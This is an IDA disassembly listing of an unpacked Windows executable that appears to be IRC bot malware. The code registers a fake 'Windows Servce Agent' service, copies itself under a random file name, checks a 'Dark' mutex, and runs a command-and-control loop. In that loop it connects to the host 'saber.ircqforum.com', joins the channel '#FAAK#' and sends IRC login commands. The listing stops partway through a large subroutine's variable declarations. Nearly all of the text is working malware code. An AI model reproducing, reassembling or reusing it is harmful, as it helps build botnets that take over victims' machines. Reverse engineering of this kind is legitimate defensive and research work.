;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	5E0A224716CE64C200B62E0B7BE743F0

; File Name   :	u:\work\5e0a224716ce64c200b62e0b7be743f0_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServceA ; "Windows Servce Agent"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF28
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF98
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAED8


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF50
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEBC
		call	dword_4CB00C
		call	sub_40B2BF
		call	dword_4CAECC
		call	dword_4CAECC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D128
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2650000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2640AE7h
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D120
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACB0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACB4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB020
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		nop
		call	near ptr 2670637h
		push	eax
		nop
		call	near ptr 2670586h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAEE4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 267047Ch
		push	eax
		nop
		call	near ptr 2650000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293C4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26703ADh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 26702CFh
		nop


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2660D84h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2660545h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 26702CFh
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D128
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		call	near ptr 2660D42h
		nop
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 266079Ah
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293B0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2640AE7h
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 2660545h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAECC
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB294, 2
		jle	short loc_401562
		mov	eax, dword_4DB298
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 2670586h
		nop
		push	esi
		call	near ptr 2640871h
		nop
		mov	eax, dword_4DB298
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	near ptr 2660545h
		nop
		mov	eax, dword_4DB298
		push	dword ptr [eax+8]
		call	near ptr 26606EFh
		nop


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB044, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429394
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D130
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429370
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2660D84h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429330
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429304
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2660D84h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4292D0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACBC
		mov	dword_4CAE28, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD3C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CAD7C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE10, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACB8
		mov	dword_4CAE24, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE24, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		call	near ptr 2660545h
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAECC


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEC8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEBC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB00C
		call	sub_40AB22
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2660545h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293CC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB00C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE20, bl
		jz	short loc_40199A
		push	offset byte_4CAE20
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB00C
		push	1388h
		call	near ptr 2660545h
		nop


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2660545h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
